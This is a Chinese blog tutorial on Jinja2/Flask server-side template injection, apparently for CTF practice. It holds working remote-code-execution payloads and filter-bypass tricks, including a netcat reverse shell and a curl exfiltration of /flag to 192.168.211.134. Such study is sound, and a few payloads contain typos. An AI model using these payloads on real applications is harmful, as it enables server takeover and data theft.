SSTI模板注入入门

news/2024/11/20 13:31:07/

一.关系:子类->父类

class A:passclass B(A):passclass C(B):passclass D(B):passc=C()

1.__class__查看当前类

c:当前类

print(c.__class__)

2.__base__查看当前类的父类

print(c.__class__.__base__)

c的父类的父类

print(c.__class__.__base__.__base__)

e的父类的父类的父类

print(c.__class__.__base__.__base__.__base__)

最终的父类都是object

3.__mro__从当前往上查看所有类

print(c.__class__.__mro__)

查看e的当前类

print(c.__class__.__mro__[0])

 查看e的父类 

print(c.__class__.__mro__[1])

 查看e的父类的父类 

print(c.__class__.__mro__[2])

4.__subclass__()查看子类

 查看c的父类的子类 

print(c.__class__.__mro__[1].__subclasses__())

[<class '__main__.C'>, <class '__main__.D'>]

 查看基类object下面的子类 

print(c.__class__.__base__.__base__.__base__.__subclasses__())

5.利用与C同级的D类

print(c.__class__.__mro__[1].__subclasses__()[1])

二.利用

1.查看object类

{{''.__class__.__base__}}

[],'',(),""用起来都没有区别,都是为了找到object类,如果有哪个被过滤了,可以尝试其他的

在object类里面找到os.__wrap__close

用notepad把object下面所有类进行排序

 os._wrap_close在133 

2.利用os.__wrap__close

为什么利用os.__wrap__close,因为在其里面的全局变量可以找到内置函数eval

{{''.__class__.__base__.__subclasses__()[132].__init__}}

用__init__检测是否已经重载,重载才可以使用

 没有出现wrapper说明已经重载可以使用 

3.__globals__查看全局变量

{{''.__class__.__base__.__subclasses__()[132].__init__.__globals__}}

如果globals被过滤可以单引号拼接,如下:

{{''.__class__.__base__.__subclasses__()[132].__init__['__glo''bals__']}}

题目简单可以直接搜到flag

 4.调用globals里面的各种函数 

比如eval,popen,system,exec

这里我调用eval函数

__builtins__提供对python的所有内置标识符的访问

{{''.__class__.__base__.__subclasses__()[132].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('ls').read()")}}

更省事的写法

{{''.__class__.__base__.__subclasses__()[132].__init__.__globals__ ['eval']("__import__('os').popen('ls').read()")}}

5.其他调用方式

  通过config调用

{{config.__class__.__init__.__globals__['os'].popen('ls').read()}}

{{config.__class__.__init__['__glo''bals__']['o''s'].popen('ls').read()}}

通过url_for调用

{{url_for.__globals__.os.popen('ls').read()}}

{{url_for['__gl''obals__']['o''s'].popen('ls').read()}}

通过lipsum调用

{{lipsum.__globals__.os.popen('ls').read()}}

{{lipsum['__glo''bals__']['o''s'].popen('ls').read()}}

 三.SSTI绕过

1.绕过过滤双大括号

{% %}属于flask的控制语句,且以{% end.. %}结尾,可以通过控制语句定义变量或者写循环,判断。

 如果{{}}被过滤,尝试{%%}

构造脚本查询可使用popen 的子类编号

想要回显,用print输出 

{% print(''.__class__.__base__.__subclasses__[117].__init__.__globals__['popen']('ls').read())% }

{% print(''.__class__.__base__.__subclasses__()[132].__init__['__glo''bals__']['__buil''tins__']['ev''al']("__im""port__('o''s').po""pen('head /flag').read()"))%}

 2.无回显的SSTI 

反弹shell

通过rce反弹一个shell

{{''.__class__.__base__.__subclasses__()[132].__init__.__globals__['popen']('netcat 192.168.211.134 7777 -e /bin/bash').read()}}

{{''.__class__.__base__.__subclasses__()[132].__init__['__glo''bals__']['pop''en']('netcat 192.168.211.134 7777 -e /bin/bash').read()}}

{{[].__class__.__base__.__subclasses__()[84]["load_module"]("o""s")["popen"]("netcat 192.168.211.134 7777 -e /bin/bash").read()}}

linux:nc -lvp 7777

带外注入

{{''.__class__.__base__.__subclasses__()[132].__init__.__globals__['popen']('curl http://192.168.211.134/`cat /flag`').read()}}

linux:python3 -m http.server 80

3.纯盲注

布尔,时间盲注

4.绕过过滤中括号

__getitem__()魔术方法

对字典使用时,传入字符串,返回字典相应键对应的值

对列表使用时,传入整数,返回对应的索引的值

{{''.__class__.__base__.__subclasses__().__getitem__(132)}}

等价于{{''.__class__.__base__.__subclasses__()[132]}}

{{''.__class__.__base__.__subclasses__()[132].__init__.__globals__['popen']('ls').read()}}

绕过

{{''.__class__.__base__.__subclasses__().__getitem(132).__init__.__globals__.__getitem('popen')('ls').read()}}

5.绕过单双引号

利用:

{{().__class__.__base__.__subclasses__()[132].__init__.__globals__['popen']}}

改为

{{().__class__.__base__.__subclasses__()[132].__init__.__globals__[request.args.popen](request.args.cmd)}}

然后url传哥参数?popen=popen&cmd=cat /flag

如果想post传参,request.args.cmd改为request.form.cmd

如果想cookie传参,用request.cookies.cmd 如果多个参数用分号;隔开

Cookie : key1=   ;key2= 

6.过滤器绕过下划线过滤

 使用request

 过滤器通过管道符|与变量连接,并且在括号中可能有可选的参数

可以连接到多个过滤器,一个过滤器的输出将应用于下一个过滤器

attr绕过下划线

{{''.__class__.__base__.__subclasses__()[132].__init__.__globals__['popen']('ls').read()}}

改为

{{()|attr(request.args.cla)|attr(request.args.bas)|attr(request.args.sub)()|attr(request.args.gei)(132)|attr(request.args.ini)|attr(request.args.glo)|attr(request.args)(&apos;popen&apos;)(&apos;ls&apos;)|attr(&apos;read&apos;)()}}

get传参?cla=__class__&bas=__base__&sub=__subclasses__&ini=__init__&glo=__globals__&gei=__getitem___ 

7.绕过.被过滤

 用中括号代替点

{{''[__class__][__base__][__subclasses__]()[133][__init__][__globals__]['popen']('ls')['read']()}}

用attr绕过 

8.关键词过滤绕过

  过滤了class.arg,form,value,ini,global等关键词

字符编码  unicode 16编码

使用拼接 '__cla''ss__'

jinjia2中使用~进行拼接

{%set a="__cla"%}{%set b="ss_"%}{{a~b}}  

使用过滤器,reverse反转,replace替换,join拼接

{%set a="__ssalc__"|reverse%}{{a}}

 使用python的char()

{%set chr=url_for.__globals__['__builtins__'].chr%}{{""[chr(95)%2bchr(95)%2bchr(99)%2bchr(108)%2bchr(97)%2bchr(115)%2bchr(115)%2bchr(115)%2bchr(95)%2bchr(95)]}(暂时没懂) 

 9.绕过过滤数字

过滤器length

{%set a='aaaaa'|length%}{{a}}  输出5

{%set a='aaaaa'|length*'aaa'%}{{a}}输出15

{%set a='aaaaa'|length*'aaa'|length-'aa'%}{{a}}输出13 

10.其他技巧

看看flag有没有在config里

{{config}}

current_app查看配置

{{url_for.__globals__['current_app'].config}}

{{get_flashed_messages.__globals__['current_app'].config}}


http://www.ppmy.cn/news/1198032.html

相关文章

FaceChain开源虚拟试衣功能,打造更便捷高效的试衣新体验

简介 虚拟试衣这个话题由来已久&#xff0c;电商行业兴起后&#xff0c;就有相关的研发讨论。由其所见即所得的属性&#xff0c;它可以进一步提升用户服装购买体验。它既可以为商家做商品展示服务&#xff0c;也可以为买家做上身体验服务&#xff0c;这让同时具备了 B 和 C 的两…

Web3游戏的十字路口:沿用传统IP还是另起炉灶?

人们经常问我对 Web3 游戏有什么看法。因此&#xff0c;我想以书面形式概述一下我目前的想法。 让我先澄清一下&#xff1a;我不是专家。这不是一篇深入探讨游戏世界精细指标如 MAU 或 D14 等的全面分析。请把这看作是我根据个人交流和研究&#xff0c;这反映我在游戏领域关注…

Technology strategy Pattern 学习笔记3-Creating the Strategy-Industry context

Creating the Strategy-Industry context 1 SWOT 1.1 create steps 1.与内部各方沟通 了解企业的人、流程和技术&#xff0c;包括与其它企业的不同了解哪些创新可以做竞争者及市场信息企业可以支撑的类似业务 按SWOT四象限分类&#xff0c;先做列表后放入象限 1.2 四象限…

什么是低代码平台:低代码平台介绍

在谈低代码平台前&#xff0c;我们看一个软件开发过程中的一个重要概念&#xff1a;组件&#xff0c;也叫构件。 这个构件有以下特点&#xff0c; 可组装&#xff0c;构件有对外的公共接口&#xff0c;构件对外的交互就是通过定义的公共接口进行的&#xff1b; 可部署&#xff…

Nacos-2.2.2源码修改集成高斯数据库GaussDB,postresql

一 &#xff0c;下载代码 Release 2.2.2 (Apr 11, 2023) alibaba/nacos GitHub 二&#xff0c; 执行打包 mvn -Prelease-nacos -Dmaven.test.skiptrue -Drat.skiptrue clean install -U 或 mvn -Prelease-nacos ‘-Dmaven.test.skiptrue’ ‘-Drat.skiptrue’ clean instal…

redis数据库缓存服务器

redis比mysql访问数据快 非关系型数据库以键值对的方式存储数据 作用&#xff1a;加快访问速度&#xff0c;缓解数据库压力 redis最新版本7 特点 丰富的数据结构 list,set,hash等数据结构的存储 支持持久化 支持事务 “一个完整的动作&#xff0c;要么全部执行&#xff0…

1.如何实现统一的API前缀-web组件篇

文章目录 1. 问题的由来2.实现原理3. 总结 1. 问题的由来 系统提供了 2 种类型的用户&#xff0c;分别满足对应的管理后台、用户 App 场景。 两种场景的前缀不同&#xff0c;分别为/admin-api/和/app-api/&#xff0c;都写在一个controller里面&#xff0c;显然比较混乱。分开…

vue中 setState

在Vue中没有setState这个方法&#xff0c;它是React中的方法。在Vue中&#xff0c;可以使用this.$set或Vue.set来更新响应式数据&#xff0c;包括对象、数组和嵌套属性。这两个方法的用法类似&#xff0c;都是传递三个参数&#xff1a;要更新的对象、属性名和属性值。例如&…